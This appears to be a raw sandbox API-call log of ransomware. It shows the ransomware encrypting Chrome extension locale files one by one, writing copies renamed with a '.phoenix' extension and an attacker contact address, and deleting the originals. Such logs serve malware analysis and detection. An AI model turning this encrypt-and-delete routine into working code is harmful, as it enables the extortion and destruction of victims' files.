	[0263.048] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0263.048] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=661) returned 1
	[0263.048] CloseHandle (hObject=0x2c4) returned 1
	[0263.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\pt_pt\\messages.json")) returned 0x20
	[0263.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\pt_PT\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\pt_pt\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.048] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0263.048] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.049] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.049] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\pt_PT\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\pt_pt\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0263.049] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151700) returned 1
	[0263.049] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.049] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x295, lpOverlapped=0x0) returned 1
	[0263.123] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2a0, dwBufLen=0x2a0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2a0) returned 1
	[0263.123] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x2a0, lpOverlapped=0x0) returned 1
	[0263.123] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151340) returned 1
	[0263.123] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.123] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0263.124] CryptDestroyKey (hKey=0x151340) returned 1
	[0263.124] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0263.124] CryptDestroyKey (hKey=0x151700) returned 1
	[0263.124] CloseHandle (hObject=0x2c4) returned 1
	[0263.124] CloseHandle (hObject=0x2c0) returned 1
	[0263.124] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\pt_pt\\messages.json")) returned 1
	[0263.125] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0263.125] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0263.125] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=668) returned 1
	[0263.125] CloseHandle (hObject=0x2c0) returned 1
	[0263.125] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ro\\messages.json")) returned 0x20
	[0263.125] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ro\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ro\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.126] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0263.126] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.126] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.126] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ro\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ro\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0263.126] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151640) returned 1
	[0263.126] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.126] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x29c, lpOverlapped=0x0) returned 1
	[0263.128] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2a0, dwBufLen=0x2a0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2a0) returned 1
	[0263.128] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x2a0, lpOverlapped=0x0) returned 1
	[0263.129] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1510c0) returned 1
	[0263.129] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.129] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0263.129] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0263.129] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0263.129] CryptDestroyKey (hKey=0x151640) returned 1
	[0263.129] CloseHandle (hObject=0x2c0) returned 1
	[0263.129] CloseHandle (hObject=0x2c4) returned 1
	[0263.130] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ro\\messages.json")) returned 1
	[0263.130] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0263.130] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0263.131] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=783) returned 1
	[0263.131] CloseHandle (hObject=0x2c4) returned 1
	[0263.131] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ru\\messages.json")) returned 0x20
	[0263.131] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ru\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ru\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.131] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0263.131] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.131] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.131] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ru\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ru\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0263.132] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151780) returned 1
	[0263.132] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.132] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x30f, lpOverlapped=0x0) returned 1
	[0263.170] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x310, dwBufLen=0x310 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x310) returned 1
	[0263.170] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x310, lpOverlapped=0x0) returned 1
	[0263.171] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1510c0) returned 1
	[0263.171] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.171] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0263.171] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0263.171] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0263.171] CryptDestroyKey (hKey=0x151780) returned 1
	[0263.171] CloseHandle (hObject=0x2c4) returned 1
	[0263.171] CloseHandle (hObject=0x2c0) returned 1
	[0263.171] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ru\\messages.json")) returned 1
	[0263.172] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0263.172] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0263.173] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=649) returned 1
	[0263.173] CloseHandle (hObject=0x2c0) returned 1
	[0263.173] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sv\\messages.json")) returned 0x20
	[0263.173] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sv\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sv\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.173] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0263.173] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.173] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.173] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sv\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sv\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0263.174] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151780) returned 1
	[0263.174] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.174] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x289, lpOverlapped=0x0) returned 1
	[0263.229] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x290, dwBufLen=0x290 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x290) returned 1
	[0263.229] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x290, lpOverlapped=0x0) returned 1
	[0263.229] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1510c0) returned 1
	[0263.229] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.230] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0263.230] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0263.230] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0263.230] CryptDestroyKey (hKey=0x151780) returned 1
	[0263.230] CloseHandle (hObject=0x2c0) returned 1
	[0263.230] CloseHandle (hObject=0x2c4) returned 1
	[0263.230] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sv\\messages.json")) returned 1
	[0263.231] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0263.231] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0263.231] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=720) returned 1
	[0263.231] CloseHandle (hObject=0x2c4) returned 1
	[0263.232] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\vi\\messages.json")) returned 0x20
	[0263.232] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\vi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\vi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.232] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0263.232] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
